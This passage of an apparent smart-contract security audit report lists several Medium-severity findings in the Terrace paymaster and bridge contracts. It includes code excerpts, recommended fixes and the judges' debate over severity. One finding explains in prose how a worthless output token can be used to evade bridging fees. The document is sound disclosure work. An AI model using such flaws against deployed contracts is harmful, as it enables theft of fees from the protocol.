        require(amountIn > 0, "StargateManager: invalid amount");

        uint256 minAmountOut = opParams.minAmountOut;
        require(minAmountOut > 0, "StargateManager: invalid min amount out");

        if (isFromEth) {
@>          //@audit miss check opParams.outputToken
            swapRouterETH.swapETH{ value: msg.value }(destination, refundAddress,
↪   to, amountIn, minAmountOut);
        } else {

            address tokenAddress = opParams.inputToken;
            require(tokenAddress != address(0), "StargateManager: invalid token
↪   address");
@>          require(opParams.outputToken == tokenAddress, "StargateManager:
↪   invalid output token");

...
```

From the code above we know that If `isFromEth=true` doesn't check the `outputToken`, the user can specify any useless `token` to pay the fee.

Impact

Malicious fee evasion

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Stargate/StargateManager.sol#L93

Tool used

Manual Review

Recommendation

```
    function bridge(OperationParameters calldata opParams) external payable
↪   override {

        bool isFromEth = opParams.inputToken == address(0);
...

        if (isFromEth) {
+           require(opParams.outputToken == address(0), "StargateManager:
↪   invalid output token");
            swapRouterETH.swapETH{ value: msg.value }(destination,
↪   refundAddress, to, amountIn, minAmountOut);
        } else {
```

Discussion

midori-fuse

I believe what this issue is trying to point out is that `isFromEth` is determined by the `inputToken` of the bridge operation:

```
bool isFromEth = opParams.inputToken == address(0);
```

but the fee is charged from the same bridge operation's `outputToken`. By setting these two tokens to be different (specifically, the bridgeOp's `outputToken` to something worthless), the fee can be charged from the worthless bridgeOp's `outputToken`, and trade's Output/bridge's Input that is ETH, is free from the bridging fees.

For Messi, this may be considered an admin mistake, which is OOS for reasons #63 mentioned.

For Maradona however, indeed that this can bypass fees. However, the same Maradona contract also restricts ETH to be the only input token, and hence this issue can only manifest by swapping ETH to ETH, and then bridging that ETH.

There is a use case for swapping ETH to ETH (then bridge), for example arbitrage trades. For the restriction of the trade, Medium seems appropriate.

I think the fix, however, should be validating that the bridge's input and output token are the same, or to consistently use either just bridgeOp.inputToken or

bridgeOp.outputToken only?

Issue M-18: prevLastOutBalance/prevSwapEthBalance should not contain msg.value

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/66

The protocol has acknowledged this issue.

Found by

Kow, bin2chen

Summary

in `takeTokensAndTrade()` we would record `prevLastOutBalance` and `lastOutBalance` Then limit `lastOutBalance - prevLastOutBalance >= minAmountOut` But when the inputToken and the outputToken are both `eth` , `prevLastOutBalance` without subtract `msg.value`, resulting in the difference being less than `minAmountOut`

Vulnerability Detail

in `Maradona.takeTokensAndTrade()` At the beginning of the trade we record `prevLastOutBalance`

```
    function takeTokensAndTrade(
...
        uint256 prevLastOutBalance = 0;
        uint256 minAmountOut = 0;
        if (swapOps.length > 0) {
            minAmountOut = swapOps[swapOps.length - 1].minAmountOut;
            swapOps[swapOps.length - 1].minAmountOut = 1;
            bool isToEth = swapOps[swapOps.length - 1].outputToken == address(0);
            if (isToEth) {
@>              prevLastOutBalance = address(this).balance;
```

After the swap we check the `minAmountOut`

```
        // We recover last swapOp output
        uint256 lastOutBalance = 0;
        if (swapOps.length > 0) {
            bool isToEth = swapOps[swapOps.length - 1].outputToken == address(0);
            if (isToEth) {
@>              lastOutBalance = address(this).balance;
            } else {
                IERC20 lastOutputToken = IERC20(swapOps[swapOps.length -
↪   1].outputToken);
```

```
                lastOutBalance = lastOutputToken.balanceOf(address(this));
            }
        }
@>      require(lastOutBalance - prevLastOutBalance >= minAmountOut, "Maradona:
↪  last output amount is less than minAmountOut");
        // End of (2)
```

`prevLastOutBalance` contains `msg.value` If `isToEth==true` will cause `minAmountOut` check to fail

For example the following common MEV arbitrage, inputToken = outputToken = eth

ops[0] = {inputToken = eth , amountIn = 1000, outputToken = usdc , market=uniswap 2} ops[1] = {inputToken = usdc, outputToken = ... market=uniswap 3 } ... ops[x] = {inputToken = ... , outputToken = eth ,minAmountOut = 1010 } //«----last outputToken == eth

Calculate the result: prevLastOutBalance = 1000 lastOutBalance = 1010

`lastOutBalance - prevLastOutBalance = 10` will fail the `minAmountOut=1010` check!

Note: prevSwapEthBalance has similar issues.

Impact

`minAmountOut` check fails, `takeTokensAndTrade()` will not work properly

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L353

Tool used

Manual Review

Recommendation

if `ops[0].inputToken == ops[last].outputToken` `Maradona.sol` : `prevLastOutBalance` needs to subtract `msg.value` `Messi.sol` : `prevLastOutBalance` needs to subtract `claimedAmount`

Discussion

midori-fuse

I am a little bit skeptical about this issue.

On one hand, it can be argued that if a trade starts with ETH (as enforced in Maradona), but also ends in ETH, it can be a MEV trade/arbitrage trade, and the `minAmountOut` should be the profit only.

On the other hand, this issue shows an inconsistency in the definition of `minAmountOut`, where on the side of ERC20, the parameter defines the absolute minimum required output for the trade.

Because of the following README statement:

> Q: Should potential issues, like broken assumptions about function behavior, be reported if they could pose risks in future integrations, even if they might not be an issue in the context of the scope? If yes, can you elaborate on properties/invariants that should hold? Yes. I can't think of any case in our contracts but yes.

And the `minAmountOut` parameter is defined as follow:

```
// minAmountOut is the minimum acceptable amount of tokens to be received from
 ↪  the operation.
uint256 minAmountOut;
```

which is defined to be the amount to be received, irrespective of what was sent. If "I sent X tokens, but I expect to receive Y tokens", then indeed the `minAmountOut` should be the entire received amount, not just arbitrage profits.

I believe there is sufficient evidence that an important assumption is broken, so I am judging this as valid.

spacegliderrrr

Escalate

This is a very rare edge case scenario as the user would do `eth -> token -> eth` swap (basically arbitraging). Not only it is practically impossible for a regular user to make an arb before MEVs take it, but even if a user decides to arb through `Terrace` (which is unreasonable as they'd have to pay extra fees there), it's still not broken, but they'd simply have to adjust their inputs, to set `minAmountOut` to the minimum amount of profit they'd like from the trade. Issue should be low.

sherlock-admin3

> Escalate
>
> This is a very rare edge case scenario as the user would do `eth -> token -> eth` swap (basically arbitraging). Not only it is practically impossible for a regular user to make an arb before MEVs take it, but even if a user decides to arb through `Terrace` (which is unreasonable as they'd have to pay extra fees there), it's still not broken, but they'd simply have to adjust

their inputs, to set `minAmountOut` to the minimum amount of profit they'd like from the trade. Issue should be low.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

midori-fuse

I don't think I fully agree with the escalation.

The information provided in the code comments is that `minAmountOut` is supposed to be the amount to be, quote, *received* from the operation. According to Sherlock rules for this contest, said information is higher in the hierarchy of truth.

Even if an ETH --> token --> ETH is a niche use-case, it's still a valid use case. I input some amount of ETH, then I expect to receive some amount of ETH back. It's min amount out, not min profit out. It's the normal way of thinking and the correct definition.

What I agree with is that:

- This issue can be remedied by changing the input
- This issue is only present at a very rare case

But changing the input is not the way to fix the issue if it contradicts what is the explicitly stated expected behavior.

- For example your own issues #49 and #57 can also be remedied by changing the input without loss of functionality, the latter of which doesn't even have code documentations to back it up.

WangSecurity

I agree that it's quite a rare case. But, the issue submitter themselves gave an MEV strategy as an example, not a regular user and as the Lead Judge correctly noted, `minAmountOut` is the minimum the user wants to receive and if it's used as intended, the issue arises.

Hence, planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spaceglliderrrr: rejected

Issue M-19: tryToChargeForGas() return gasAmountCharged may be incorrect

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/67

Found by

bin2chen

Summary

in `tryToChargeForGas()` if needToBringTokens==false and feesTokenAddress==address(0) It doesn't set the return value `gasAmountCharged`, it always returns `0`.

Vulnerability Detail

The `tryToChargeForGas()` code is as follows

```
    function tryToChargeForGas(
...

        // this means that the fee token is not the output token of the last
↪   swapOp
        if (needToBringTokens){
            require(feesTokenAddress != address(0), "Messi: feesTokenAddress
↪   must not be 0x0 if eth is not the output");
            IERC20 feesToken = IERC20(feesTokenAddress);
            uint256 balance = feesToken.balanceOf(receivingUser);
            if (balance > feeValue) {
                feesToken.safeTransferFrom(receivingUser, feeCollector,
↪   feeValue);
                succeeded = true;
@>              amount = feeValue;
                emit GasCharged(receivingUser, feeValue, feesTokenAddress,
↪   gasAmount, gasToFeeTokenExchangeRate);
            } else if (mandatory){
                revert("Messi: cannot charge for gas bringing tokens");
            }
        } else { // this means that the fee token is the output token of the
↪   last swapOp
            if (feesTokenAddress != address(0)) {
                IERC20 feesToken = IERC20(feesTokenAddress);
                uint256 balance = feesToken.balanceOf(address(this));
                if (balance > feeValue) {
```

```
                    feesToken.safeTransfer(feeCollector, feeValue);
                    succeeded = true;
@>                  amount = feeValue;
                    emit GasCharged(receivingUser, feeValue, feesTokenAddress,
↪   gasAmount, gasToFeeTokenExchangeRate);
                } else if (mandatory) {
                    revert("Messi: cannot charge for gas with tokens in
↪   contract");
                }
            } else {
                require(address(this).balance >= feeValue, "Messi: not enough
↪   eth to charge for gas");
                payable(feeCollector).transfer(feeValue);
                succeeded = true;
@>              //@audit miss set amount = feeValue;
                emit GasCharged(receivingUser, feeValue, feesTokenAddress,
↪   gasAmount, gasToFeeTokenExchangeRate);
            }
        }
    }
```

From the above code we know that if needToBringTokens==false and feesTokenAddress==address(0) does not set the return value `gasAmountCharged` and always returns `0`.

An incorrect `gasAmountCharged` will result in an incorrect `bridgeOp.amountIn`: `bridgeOp.amountIn -= gasAmountCharged`

```
    function takeTokensAndTrade(
...
        // We charge for gas and fees
        if (!gasCharged) {
            (gasCharged, gasAmountCharged) = tryToChargeForGas(
                (initialGas - gasleft()) * tx.gasprice + valueToSend,
                gasToFeeTokenExchangeRate,
                feesTokenAddress,
                receivingUser,
                true,
                gasCharged,
                // If there is a brige, we check if the input of the bridge is
↪   the fee token
                // Otherwise, we check if the output of the last swapOp is the
↪   fee token
                // Because if so, we dont need to bring the tokens to the
↪   contract
```

```
                bridgeFound? bridgeOp.inputToken != feesTokenAddress:
↪   swapOps.length > 0? swapOps[swapOps.length - 1].outputToken !=
↪   feesTokenAddress: claimOp.outputToken != feesTokenAddress
            );
        }

       } else {
            if (bridgeOp.inputToken == feesTokenAddress) {
@>              bridgeOp.amountIn = bridgeOp.amountIn - gasAmountCharged;
            }
            if (!inputFeeCharged) {
                bridgeOp.amountIn = bridgeOp.amountIn - feesDeductedFinal;
            }
            if (bridgeOp.inputToken != address(0)) {
                IERC20 tokenToBridge = IERC20(bridgeOp.inputToken);
                tokenToBridge.approve(markets[bridgeOp.exchangeID],
↪   bridgeOp.amountIn);
            } else {
                valueToSend = valueToSend;
            }
            bridge(bridgeOp, bridgeFeeEth + valueToSend);
        }
        // End of (4)
    }
```

Impact

Wrong `gasAmountCharged` will cause `bridgeOp.amountIn` to be wrong Unable to execute `takeTokensAndTrade()` properly

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L256-L259

Tool used

Manual Review

Recommendation

```
    function tryToChargeForGas(
...
```

```
            } else {
                require(address(this).balance >= feeValue, "Messi: not enough
↪   eth to charge for gas");
                payable(feeCollector).transfer(feeValue);
                succeeded = true;
+               amount = feeValue;
                emit GasCharged(receivingUser, feeValue, feesTokenAddress,
↪   gasAmount, gasToFeeTokenExchangeRate);
            }
        }
    }
```

Discussion

midori-fuse

This issue correctly pointed out that, in the case of:

- `needToBringTokens = false`, for example, if the funds are already in the contract as a result of a claim/swap operation
- `feesTokenAddress = address(0)` i.e. the output/fee token is ETH

then the function returns a wrong value. The submission has also shown that, as a result, bridge operation's `amountIn` is incorrectly recorded.

Note that the impact is a DoS, due to attempting to bridge more than what it received from the previous operations. For this impact, alongside the specific case restrictions (ETH must be the output), Medium severity is appropriate.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/18

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-20: Paymaster will always revert when trying to bridge ETH due to incorrect bridge valueToSend calculation

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/75

Found by

Kow, PUSH0, bin2chen

Summary

Messi Paymaster allows users to swap any token into ETH, and bridge this ETH using Stargate. This operation will not work because the paymaster tries to send more eth to the bridge then the actual balance. This is due to missing the subtraction of bridge fees in case of ETH bridge.

A similar issue exists on Maradona as well, there in case the user does not send the bridge fee in addition to ETH used for trade, the transaction will revert. This bridge fee will never be refunded to the relayer, leading to the same problem as described here.

Vulnerability Detail

Messi paymaster tries to bridge ETH in line 524:

```
bridge(bridgeOp, bridgeFeeEth + valueToSend);
```

In this case it tries to send bridgeFeeEth + valueToSend. The reason for this is because for example stargate uses the native token as fee token. The problem with this is that valueToSend and bridgeOp.amountIn does not exclude bridgeFeeEth, in case we want to bridge ETH.

In case we trade 1 ETH worth of USDC to 1 ETH, and try to bridge this 1 ETH (with 5000 wei bridge fee), it will result in revert. The paymaster tires to transfer 1000000000000005000 wei, even if his balance is only 1000000000000000000 wei (the output of last trade).

In this case for the transaction to succeed the sponsor would have to send more eth to the contract, which is not refunded.

Impact

In case user wants to bridge ETH the transaction will always revert.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L524

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L412

Tool used

Manual Review

Recommendation

In case the user tries to bridge ETH, exclude the bridge Fee from amount In and the amount send to the contract.

Discussion

mselser95

Can you please provide a POC of this? a test or something i can reproduce?

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/21

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.